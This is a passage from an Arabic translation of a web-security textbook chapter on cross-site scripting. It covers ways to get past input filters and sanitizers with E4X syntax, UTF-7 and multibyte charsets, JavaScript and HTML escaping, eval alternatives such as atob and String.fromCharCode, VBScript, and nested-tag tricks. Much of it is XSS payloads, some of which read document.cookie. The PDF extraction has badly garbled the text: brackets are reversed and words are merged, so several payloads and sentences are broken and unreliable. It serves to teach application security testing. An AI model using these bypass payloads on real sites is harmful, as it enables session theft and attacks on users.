ﺇﺷﻜﺎﻟﻴﺔ.ﻭﻣﻊ ﺫﻟﻚ ،ﺇﺫﺍ ﺣﻮﻝّ ﺇﻃﺎﺭ ﻋﻤﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺇﻟﻰ ﺃﺣﺮﻑ ﻭﺳﻢ ﻋﻨﺪ ﺇﺩﺭﺍﺝ
ﺍﻹﺩﺧﺎﻝﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ ،ﻳﻨﺠﺢ ﺍﻟﻬﺠﻮﻡ .ﻭﻗﺪ ﻭﺟُﺪﺕ ﺗﻄﺒﻴﻘﺎﺕ ﻋﺪﻳﺪﺓ ﻋﺮﺿﺔ ﻟﻬﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ
ﺍﻟﻬﺠﻤﺎﺕ،ﻭﻫﻮ ﻣﺎ ﻗﺪ ﻳﻐُﻔﺮ ﻟﻠﻤﻄﻮﺭﻳﻦ ﺗﺠﺎﻫﻠﻪ.
<;//>>/scriptﺗﻨﺒﻴﻪ)>>script<(1
ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ،ﻳﻤُﻜﻦ ﺍﺳﺘﻐﻼﻝ ﺳﻠﻮﻙ ﻏﻴﺮ ﻣﺘﻮﻗﻊ ﻓﻲ ﻣﺤُﻠﻼِّﺕ HTMLﻓﻲ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ
ﻟﺸﻦ ّﻫﺠﻮﻡ ﻳﺘﺠﺎﻭﺯ ﻣﺮُﺷﺤِّﺎﺕ ﺇﺩﺧﺎﻝ ﺍﻟﺘﻄﺒﻴﻖ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻻ ﻳﺤﺘﻮﻱ ﻣﻠﻒ HTMLﺍﻟﺘﺎﻟﻲ،
ﺍﻟﺬﻱﻳﺴﺘﺨﺪﻡ ﺻﻴﻐﺔ ( ،ECMAScript for XML )E4Xﻋﻠﻰ ﻭﺳﻢ ﻧﺺ ﺑﺮﻣﺠﻲ ﺍﻓﺘﺘﺎﺣﻲ ﺻﺎﻟﺢ،
ﻭﻟﻜﻨﻪﻣﻊ ﺫﻟﻚ ﻳﻨُﻔﺬِّ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ ﺍﻟﻤﺮُﻓﻖ ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺎﻟﻴﺔ ﻣﻦ :Firefox
<>script>}alert)1({/<>/script
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 464
ﻣﺠﻤﻮﻋﺎﺕﺍﻷﺣﺮﻑ
ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ،ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻭﺳﻴﻠﺔ ﻓﻌﺎّﻟﺔ ﻟﺘﺠﺎﻭﺯ ﺃﻧﻮﺍﻉ ﻋﺪﻳﺪﺓ ﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ﻋﻦ ﻃﺮﻳﻖ
ﺟﻌﻞﺍﻟﺘﻄﺒﻴﻖ ﻳﻘﺒﻞ ﺗﺮﻣﻴﺰﺍً ﻏﻴﺮ ﻗﻴﺎﺳﻲ ﻟﺤﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ .ﺗﻮﺿﺢ ﺍﻷﻣﺜﻠﺔ ﺍﻟﺘﺎﻟﻴﺔ ﺑﻌﺾ ﺗﻤﺜﻴﻼﺕ
ﺍﻟﺴﻠﺴﻠﺔ
< document.cookie(>/scriptﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ)ﺗﻨﺒﻴﻪ<>scriptﻓﻲ ﻣﺠﻤﻮﻋﺎﺕ ﺍﻷﺣﺮﻑ ﺍﻟﺒﺪﻳﻠﺔ:
UTF-7
+ ADw-script+AD4-alert)document.cookie(+ADw-/script+AD4-
US-ASCII
UTF-16
ﻝﺍﻹﺩﺧﺎﻝ ،1ﻳﺤﻈﺮ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻹﺩﺧﺎﻻﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻟﻤﻨﻊ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ
ﺇﻧﻬﺎءﺍﻟﺴﻤﺔ ﺍﻟﻤﻘﺘﺒﺴﺔ.ﺍﻹﺩﺧﺎﻝ،2ﻳﺤﻈﺮ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻗﻮﺍﺱ ﺯﺍﻭﻳﺔ ﻟﻤﻨﻊ
ﺍﻟﻤﻬﺎﺟﻢﻣﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺃﻱ ﻋﻼﻣﺎﺕ .HTMLﻳﺒﺪﻭ ﻫﺬﺍ ﺍﻹﺟﺮﺍء ﻓﻌﺎّﻻ ً،ﻭﻟﻜﻦ ﻗﺪ ﻳﺘﻤﻜﻦ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ
ﺍﺳﺘﻐﻼﻝﺍﻟﺜﻐﺮﺓ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﺪﺧﻠﻴﻦ ﺍﻟﺘﺎﻟﻴﻴﻦ:
ﺍﻹﺩﺧﺎﻝ[f0%]:1
ﺍﻹﺩﺧﺎﻝonload=alert)1(" :2؛
ﻋﻨﺪﻣﺎﺗﻢ ﺭﺻﺪ ﺛﻐﺮﺍﺕ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻓﻲ ﻣﺠﻤﻮﻋﺔ ﺍﻷﺣﺮﻑ ﻣﺘﻌﺪﺩﺓ ﺍﻟﺒﺎﻳﺘﺎﺕ UTF-8ﻭﺍﺳﻌﺔ
ﺍﻻﺳﺘﺨﺪﺍﻡ،ﺍﺳﺘﺠﺎﺑﺖ ﺷﺮﻛﺎﺕ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺑﺈﺻﻼﺡ ﺣﺎﻝ ﺩﻭﻥ ﻧﺠﺎﺡ ﺍﻟﻬﺠﻮﻡ .ﻣﻊ ﺫﻟﻚ ،ﻻ ﻳﺰﺍﻝ
ﺍﻟﻬﺠﻮﻡﻧﻔﺴﻪ ﻓﻌﺎﻻ ًﻓﻲ ﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺿﺪ ﻣﺠﻤﻮﻋﺎﺕ ﺃﺣﺮﻑ ﻣﺘﻌﺪﺩﺓ ﺍﻟﺒﺎﻳﺘﺎﺕ ﺃﺧﺮﻯ ﺃﻗﻞ
ﺍﺳﺘﺨﺪﺍﻣﺎً،ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ Shift-JISﻭ EUC-JPﻭ.BIG5
ﻛﻤﺎﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﺍﻟﺘﻌﺘﻴﻢ ﻋﻠﻰ ﺍﻟﻬﺠﻤﺎﺕ ﺑﺎﺳﺘﺨﺪﺍﻡ ،HTMLﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻌﺪﻳﺪ ﻣﻦ
ﺍﻟﺘﻘﻨﻴﺎﺕﻟﺘﻌﺪﻳﻞ ﻛﻮﺩ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﻤﻄﻠﻮﺏ ﻟﺘﺠﺎﻭﺯ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ ﺍﻟﺸﺎﺉﻌﺔ.
ﺍﺳﺘﺨﺪﺍﻡJavaScript Escaping
ﻳﺘﻴﺢ JavaScriptﺃﻧﻮﺍﻋﺎً ﻣﺨﺘﻠﻔﺔ ﻣﻦ ﺍﻹﻓﻼﺕ ﻣﻦ ﺍﻷﺣﺮﻑ ،ﻭﺍﻟﺘﻲ ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻟﺘﺠﻨﺐ
ﺗﻀﻤﻴﻦﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﺍﻟﻤﻄﻠﻮﺑﺔ ﻓﻲ ﺷﻜﻠﻬﺎ ﺍﻟﺤﺮﻓﻲ.
ﻳﻤﻜﻦﺍﺳﺘﺨﺪﺍﻡ ﺃﺣﺮﻑ Unicodeﻟﺘﻤﺜﻴﻞ ﺍﻷﺣﺮﻑ ﺩﺍﺧﻞ ﻛﻠﻤﺎﺕ JavaScriptﺍﻷﺳﺎﺳﻴﺔ ،ﻣﻤﺎ
ﻳﺴﻤﺢﻟﻚ ﺑﺘﺠﺎﻭﺯ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺃﻧﻮﺍﻉ ﺍﻟﻤﺮﺷﺤﺎﺕ:
<>script<a\u006cert)1(;>/script
ﺇﺫﺍﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻚ ﺍﻻﺳﺘﻔﺎﺩﺓ ﻣﻦﺗﻘﻴﻴﻢﺍﻷﻣﺮ ،ﺭﺑﻤﺎ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﺘﻘﻨﻴﺔ ﺍﻟﺴﺎﺑﻘﺔ ﻟﻠﻬﺮﻭﺏ ﻣﻦ ﺑﻌﺾ
ﺃﺣﺮﻓﻪ،ﻳﻤﻜﻨﻚ ﺗﻨﻔﻴﺬ ﺃﻭﺍﻣﺮ ﺃﺧﺮﻯ ﻋﻦ ﻃﺮﻳﻖ ﺗﻤﺮﻳﺮﻫﺎ ﺇﻟﻰﺗﻘﻴﻴﻢﺍﻷﻣﺮ ﺑﺼﻴﻐﺔ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ .ﻫﺬﺍ
ﻳﺴﻤﺢﻟﻚ
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 466
</script< >script<eval)'a\154ert)1('(;>/script
>;('(/script< >script<eval)'a\x6cert)1
>;('(>script<eval)'a\u006cert)1
<>script<eval)'a\l\ert\)1\('(;>/script
</script< >script<eval)atob)'amF2YXNjcmlwdDphbGVydCgxKQ'((;>/script
>;((/script< >script<eval)String.fromCharCode)97,108,101,114,116,40,49,41
>;('(>script<eval)'al'+'ert)1
ﻳﺘﻴﺢﻟﻚ ﺍﻟﻤﺜﺎﻝ ﺍﻷﺧﻴﺮ ،ﺍﻟﺬﻱ ﻳﻌﻤﻞ ﻋﻠﻰ ،Firefoxﻓﻚ ﺗﺸﻔﻴﺮ ﺃﻣﺮ ﻣﺸﻔﺮ ﺑﺘﻨﺴﻴﻖ Base64
ﻗﺒﻞﺗﻤﺮﻳﺮﻩ ﺇﻟﻰﺗﻘﻴﻴﻢ.
ﺑﺪﺍﺉﻞﻟﻠﺘﻘﻴﻴﻢ
ﺇﺫﺍﻛﺎﻧﺖ ﺍﻟﻤﻜﺎﻟﻤﺎﺕ ﺍﻟﻤﺒﺎﺷﺮﺓ ﺇﻟﻰﺗﻘﻴﻴﻢﻻ ﻳﻤﻜﻦ ﺗﻨﻔﻴﺬ ﺍﻷﻭﺍﻣﺮ ،ﻟﺪﻳﻚ ﻃﺮﻕ ﺃﺧﺮﻯ ﻟﺘﻨﻔﻴﺬ ﺍﻷﻭﺍﻣﺮ ﻓﻲ
ﺷﻜﻞﺳﻠﺴﻠﺔ:
</.+/,eval(>/script< >script<function::]'alert'[)1(>/script
)>script<'alert)1('.replace
ﺑﺪﺍﺉﻞﻟﻠﻨﻘﺎﻁ
ﺇﺫﺍﺗﻢ ﺣﻈﺮ ﺣﺮﻑ ﺍﻟﻨﻘﻄﺔ ،ﻓﻴﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻃﺮﻕ ﺃﺧﺮﻯ ﻹﺟﺮﺍء ﻋﻤﻠﻴﺎﺕ ﺇﻟﻐﺎء ﺍﻟﻤﺮﺟﻌﻴﺔ:
ﺑﺎﻟﻄﺒﻊ،ﺃﻱ ﻣﻦ ﺍﻟﺸﺨﺼﻴﺎﺕ ﺍﻷﺧﺮﻯ ﺩﺍﺧﻞﻋﻨﺪ ﺣﺪﻭﺙ ﺧﻄﺄﻳﻤﻜﻦ ﺃﻳﻀﺎً ﺗﺮﻣﻴﺰ ﻗﻴﻤﺔ ﺍﻟﺴﻤﺔ ﺑﺼﻴﻐﺔ
HTMLﻹﺧﻔﺎء ﺍﻟﻬﺠﻮﻡ ﺑﺸﻜﻞ ﺃﻛﺒﺮ:
&>img onerror=eval)'al\u0065rt)1
<# x29;'( src=a
ﺍﺳﺘﺨﺪﺍﻡVBScript
ﻣﻊﺃﻥ ﺍﻷﻣﺜﻠﺔ ﺍﻟﺸﺎﺉﻌﺔ ﻟﺜﻐﺮﺍﺕ XSSﺗﺮُﻛﺰ ﻋﺎﺩﺓ ًﻋﻠﻰ ،JavaScriptﺇﻻ ﺃﻧﻪ ﻳﻤُﻜﻨﻚ ﺃﻳﻀﺎً ﺍﺳﺘﺨﺪﺍﻡ
ﻟﻐﺔ VBScriptﻋﻠﻰ ﻣﺘﺼﻔﺢ .Internet Explorerﺗﺘﻤﻴﺰ ﻫﺬﻩ ﺍﻟﻠﻐﺔ ﺑﺘﺮﻛﻴﺐ ﻟﻐﻮﻱ ﻭﺧﺼﺎﺉﺺ
ﺃﺧﺮﻯﻣﺨُﺘﻠﻔﺔ ،ﻣﻤﺎ ﻳﺘُﻴﺢ ﻟﻚ ﺗﺠﺎﻭﺯ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﺮُﺷﺤِّﺎﺕ ﺍﻹﺩﺧﺎﻝ ﺍﻟﻤﺼُﻤﻤَّﺔ ﺧﺼﻴﺼﺎً ﻟـ
.JavaScript
ﻳﻤﻜﻨﻚﺗﻘﺪﻳﻢ ﻛﻮﺩ VBScriptﺑﻄﺮﻕ ﻣﺨﺘﻠﻔﺔ:
ﺩﻣﺞ VBScriptﻭJavaScript
ﻹﺿﺎﻓﺔﻃﺒﻘﺎﺕ ﺃﺧﺮﻯ ﻣﻦ ﺍﻟﺘﻌﻘﻴﺪ ﺇﻟﻰ ﻫﺠﻮﻣﻚ ،ﻭﺍﻻﻟﺘﻔﺎﻑ ﻋﻠﻰ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ ،ﻳﻤﻜﻨﻚ
ﺍﻻﺗﺼﺎﻝﺑـ VBScriptﻣﻦ ،JavaScriptﻭﺍﻟﻌﻜﺲ ﺻﺤﻴﺢ:
<“alert)1(”,”javascript”',”vbscript”(;>/script
>script<execScript)'execScript
ﻛﻤﺎﺫﻛﺮﻧﺎ ،ﻓﺈﻥ VBScriptﻻ ﻳﺮﺍﻋﻲ ﺣﺎﻟﺔ ﺍﻷﺣﺮﻑ ،ﻣﻤﺎ ﻳﺴﻤﺢ ﻟﻚ ﺑﺘﻨﻔﻴﺬ ﺍﻟﺸﻴﻔﺮﺓ ﺍﻟﺒﺮﻣﺠﻴﺔ ﻓﻲ
ﺳﻴﺎﻗﺎﺕﻳﺘﻢ ﻓﻴﻬﺎ ﺗﺤﻮﻳﻞ ﻣﺪﺧﻼﺗﻚ ﺇﻟﻰ ﺃﺣﺮﻑ ﻛﺒﻴﺮﺓ .ﺇﺫﺍ ﻛﻨﺖ ﺗﺮﻏﺐ ﺣﻘﺎً ﻓﻲ ﺍﺳﺘﺪﻋﺎء ﺩﻭﺍﻝ
JavaScriptﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ ،ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺩﻭﺍﻝ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺴﻼﺳﻞ ﺍﻟﻨﺼﻴﺔ ﺩﺍﺧﻞ VBScript
ﻹﻧﺸﺎءﺃﻣﺮ ﺑﺎﻟﺤﺎﻟﺔ ﺍﻟﻤﻄﻠﻮﺑﺔ ﺛﻢ ﺗﻨﻔﻴﺬﻩ ﺑﺎﺳﺘﺨﺪﺍﻡ :JavaScript
ﺻﻤُﻢﻫﺬﺍ ﺍﻟﺘﺸﻔﻴﺮ ﻓﻲ ﺍﻷﺻﻞ ﻟﻤﻨﻊ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻣﻦ ﻓﺤﺺ ﻧﺼﻮﺹ ﺍﻟﻌﻤﻴﻞ ﺑﺴﻬﻮﻟﺔ ﻣﻦ
ﺧﻼﻝﻋﺮﺽ ﺍﻟﻜﻮﺩ ﺍﻟﻤﺼﺪﺭﻱ ﻟﺼﻔﺤﺔ .HTMLﻭﻣﻨﺬ ﺫﻟﻚ ﺍﻟﺤﻴﻦ ،ﺧﻀﻊ ﻟﻌﻤﻠﻴﺔ ﻫﻨﺪﺳﺔ ﻋﻜﺴﻴﺔ،
ﻭﺗﺘﻴﺢﻟﻚ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻷﺩﻭﺍﺕ ﻭﺍﻟﻤﻮﺍﻗﻊ ﺍﻹﻟﻜﺘﺮﻭﻧﻴﺔ ﻓﻚ ﺗﺸﻔﻴﺮ ﺍﻟﻨﺼﻮﺹ ﺍﻟﻤﺸﻔﺮﺓ .ﻳﻤﻜﻨﻚ ﺗﺸﻔﻴﺮ
ﻧﺼﻮﺻﻚﺍﻟﺨﺎﺻﺔ ﻻﺳﺘﺨﺪﺍﻣﻬﺎ ﻓﻲ ﺍﻟﻬﺠﻤﺎﺕ ﻋﺒﺮ ﺃﺩﺍﺓ ﺳﻄﺮ ﺃﻭﺍﻣﺮ ﻣﺎﻳﻜﺮﻭﺳﻮﻓﺖ.ﺳﺮﺳﻴﻨﻚﻓﻲ
ﺍﻹﺻﺪﺍﺭﺍﺕﺍﻷﻗﺪﻡ ﻣﻦ .Windows
ﺍﻟﺘﻐﻠﺐﻋﻠﻰ ﺍﻟﺘﻌﻘﻴﻢ
ﻣﻦﺑﻴﻦ ﺟﻤﻴﻊ ﺍﻟﻌﻮﺍﺉﻖ ﺍﻟﺘﻲ ﻗﺪ ﺗﻮﺍﺟﻬﻬﺎ ﻋﻨﺪ ﻣﺤﺎﻭﻟﺔ ﺍﺳﺘﻐﻼﻝ ﻇﺮﻭﻑ XSSﺍﻟﻤﺤﺘﻤﻠﺔ ،ﻳﻌُﺪ ّﺗﻄﻬﻴﺮ
ﺍﻟﻤﺮﺷﺤﺎﺕﻋﻠﻰ ﺍﻷﺭﺟﺢ ﺍﻷﻛﺜﺮ ﺷﻴﻮﻋﺎً .ﻫﻨﺎ ،ﻳﺠُﺮﻱ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻮﻋﺎً ﻣﻦ ﺍﻟﺘﻄﻬﻴﺮ ﺃﻭ ﺍﻟﺘﺮﻣﻴﺰ ﻋﻠﻰ
ﺳﻠﺴﻠﺔﺍﻟﻬﺠﻮﻡ ،ﻣﻤﺎ ﻳﺠﻌﻠﻬﺎ ﻏﻴﺮ ﺿﺎﺭﺓ ،ﻭﻳﻤﻨﻌﻬﺎ ﻣﻦ ﺍﻟﺘﺴﺒﺐ ﻓﻲ ﺗﻨﻔﻴﺬ .JavaScript
ﻳﺤﺪﺙﺍﻟﻤﻈﻬﺮ ﺍﻷﻛﺜﺮ ﺷﻴﻮﻋﺎً ﻟﺘﻄﻬﻴﺮ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻋﻨﺪﻣﺎ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﺮﻣﻴﺰ ﺑﻌﺾ ﺍﻷﺣﺮﻑ
ﺍﻟﺮﺉﻴﺴﻴﺔﺑﺎﺳﺘﺨﺪﺍﻡ HTMLﻭﺍﻟﺘﻲ ﺗﻌﺪ ﺿﺮﻭﺭﻳﺔ ﻟﺘﻨﻔﻴﺬ ﻫﺠﻮﻡ )ﻟﺬﺍ ﻳﺼﺒﺢ > &ﻝ؛ﻭ < ﻳﺼﺒﺢ >(.
ﻓﻲﺣﺎﻻﺕ ﺃﺧﺮﻯ ،ﻗﺪ ﻳﻘﻮﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺈﺯﺍﻟﺔ ﺑﻌﺾ ﺍﻷﺣﺮﻑ ﺃﻭ ﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﻓﻲ ﻣﺤﺎﻭﻟﺔ ﻟﺘﻄﻬﻴﺮ
ﻣﺪﺧﻼﺗﻚﻣﻦ ﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻀﺎﺭ.
ﻋﻨﺪﻣﻮﺍﺟﻬﺔ ﻫﺬﺍ ﺍﻟﺪﻓﺎﻉ ،ﻓﺈﻥ ﺧﻄﻮﺗﻚ ﺍﻷﻭﻟﻰ ﻫﻲ ﺗﺤﺪﻳﺪ ﺍﻷﺣﺮﻑ ﻭﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﺍﻟﺘﻲ ﻳﺘﻢ ﺗﻄﻬﻴﺮﻫﺎ
ﺑﺪﻗﺔ،ﻭﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻻ ﻳﺰﺍﻝ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺗﻨﻔﻴﺬ ﻫﺠﻮﻡ ﺩﻭﻥ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻣﺒﺎﺷﺮﺓ ً.ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ،
ﺇﺫﺍﻛﺎﻧﺖ ﺑﻴﺎﻧﺎﺗﻚ ﺗﺪُﺭﺝ ﻣﺒﺎﺷﺮﺓ ًﻓﻲ ﻧﺺ ﺑﺮﻣﺠﻲ ﻣﻮﺟﻮﺩ ،ﻓﻘﺪ ﻻ ﺗﺤﺘﺎﺝ ﺇﻟﻰ ﺍﺳﺘﺨﺪﺍﻡ ﺃﻱ ﺃﺣﺮﻑ ﻣﻦ
ﻋﻼﻣﺎﺕ .HTMLﺃﻭ ،ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺰﻳﻞ >ﻧﺺ<ﺍﻟﻌﻼﻣﺎﺕ ﻣﻦ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺨﺎﺻﺔ ﺑﻚ ،ﻗﺪ ﺗﻜﻮﻥ
ﻗﺎﺩﺭﺍًﻋﻠﻰ
469 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﻻﺳﺘﺨﺪﺍﻡﻭﺳﻢ ﻣﺨﺘﻠﻒ ﻣﻊ ﻣﻌُﺎﻟﺞِ ﺃﺣﺪﺍﺙ ﻣﻨﺎﺳﺐ .ﻫﻨﺎ ،ﻳﺠﺐ ﻣﺮﺍﻋﺎﺓ ﺟﻤﻴﻊ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﺘﻲ ﺳﺒﻖ
ﻣﻨﺎﻗﺸﺘﻬﺎﻟﻠﺘﻌﺎﻣﻞ ﻣﻊ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻮﻗﻴﻊ ،ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻃﺒﻘﺎﺕ ﺍﻟﺘﺮﻣﻴﺰ،
ﻭﺑﺎﻳﺘﺎﺕ ،NULLﻭﺍﻟﻘﻮﺍﻋﺪ ﺍﻟﻨﺤﻮﻳﺔ ﻏﻴﺮ ﺍﻟﻘﻴﺎﺳﻴﺔ ،ﻭﺷﻴﻔﺮﺓ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﻤﻌُﺘﻤﺔ .ﺑﺘﻌﺪﻳﻞ
ﻣﺪُﺧﻼﺗﻚﺑﺎﻟﻄﺮﻕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﺍﻟﻤﻮﺿﺤﺔ ،ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺍﺑﺘﻜﺎﺭ ﻫﺠﻮﻡ ﻻ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻱ ٍّﻣﻦ ﺍﻷﺣﺮﻑ
ﺃﻭﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﺍﻟﺘﻲ ﻳﻨُﻘﻴّﻬﺎ ﺍﻟﻤﺮﺷﺢ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺠﺎﻭﺯﻩ ﺑﻨﺠﺎﺡ.
ﺇﺫﺍﺑﺪﺍ ﻣﻦ ﺍﻟﻤﺴﺘﺤﻴﻞ ﺗﻨﻔﻴﺬ ﻫﺠﻮﻡ ﺩﻭﻥ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻹﺩﺧﺎﻝ ﺍﻟﺬﻱ ﻳﺘﻢ ﺗﻄﻬﻴﺮﻩ ،ﻓﺄﻧﺖ ﺑﺤﺎﺟﺔ ﺇﻟﻰ
ﺍﺧﺘﺒﺎﺭﻓﻌﺎﻟﻴﺔ ﻣﺮﺷﺢ ﺍﻟﺘﻄﻬﻴﺮ ﻟﺘﺤﺪﻳﺪ ﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ ﻫﻨﺎﻙ ﺃﻱ ﺗﺠﺎﻭﺯﺍﺕ.
ﻛﻤﺎﻫﻮ ﻣﻮﺿﺢ ﻓﻲ ﺍﻟﻔﺼﻞ ﺍﻟﺜﺎﻧﻲ ،ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﻈﻬﺮ ﺃﺧﻄﺎء ﻋﺪﻳﺪﺓ ﻋﻨﺪ ﺗﻨﻈﻴﻒ ﺍﻟﻤﺮﺷﺤﺎﺕ .ﺗﺤﺘﻮﻱ
ﺑﻌﺾﻭﺍﺟﻬﺎﺕ ﺑﺮﻣﺠﺔ ﺗﻄﺒﻴﻘﺎﺕ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺴﻼﺳﻞ ﻋﻠﻰ ﻃﺮﻕ ﻻﺳﺘﺒﺪﺍﻝ ﺍﻟﻤﺜﻴﻞ ﺍﻷﻭﻝ ﻓﻘﻂ ﻣﻦ
ﺍﻟﺘﻌﺒﻴﺮﺍﻟﻤﻄﺎﺑﻖ ،ﻭﻳﻤﻜﻦ ﺍﻟﺨﻠﻂ ﺑﻴﻨﻬﺎ ﺑﺴﻬﻮﻟﺔ ﺃﺣﻴﺎﻧﺎً ﻣﻊ ﺍﻟﻄﺮﻕ ﺍﻟﺘﻲ ﺗﺴﺘﺒﺪﻝ ﺟﻤﻴﻊ ﺍﻟﻤﺜﻴﻼﺕ .ﻟﺬﺍ،
ﺇﺫﺍﻛﺎﻥ >ﻧﺺ<ﺇﺫﺍ ﺗﻢ ﺗﺠﺮﻳﺪﻙ ﻣﻦ ﻣﺪﺧﻼﺗﻚ ،ﻓﻴﺠﺐ ﻋﻠﻴﻚ ﺗﺠﺮﺑﺔ ﻣﺎ ﻳﻠﻲ ﻟﻠﺘﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﻳﺘﻢ
ﺇﺯﺍﻟﺔﺟﻤﻴﻊ ﺍﻟﺤﺎﻻﺕ:
<>/scriptﺗﻨﺒﻴﻪ)>script<>script<(1
ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻳﺠﺐ ﻋﻠﻴﻚ ﺃﻳﻀﺎً ﺍﻟﺘﺤﻘﻖ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻌﻘﻴﻢ ﻳﺘﻢ ﺑﺸﻜﻞ ﻣﺘﻜﺮﺭ:
<>scr>script<ipt<alert)1(>/script
ﻋﻼﻭﺓ ًﻋﻠﻰ ﺫﻟﻚ ،ﺇﺫﺍ ﺃﺟﺮﻯ ﺍﻟﻔﻠﺘﺮ ﻋﺪﺓ ﺧﻄﻮﺍﺕ ﺗﻄﻬﻴﺮ ﻋﻠﻰ ﻣﺪُﺧﻼﺗﻚ ،ﻓﻴﺠﺐ ﻋﻠﻴﻚ ﺍﻟﺘﺤﻘﻖ ﻣﻦ
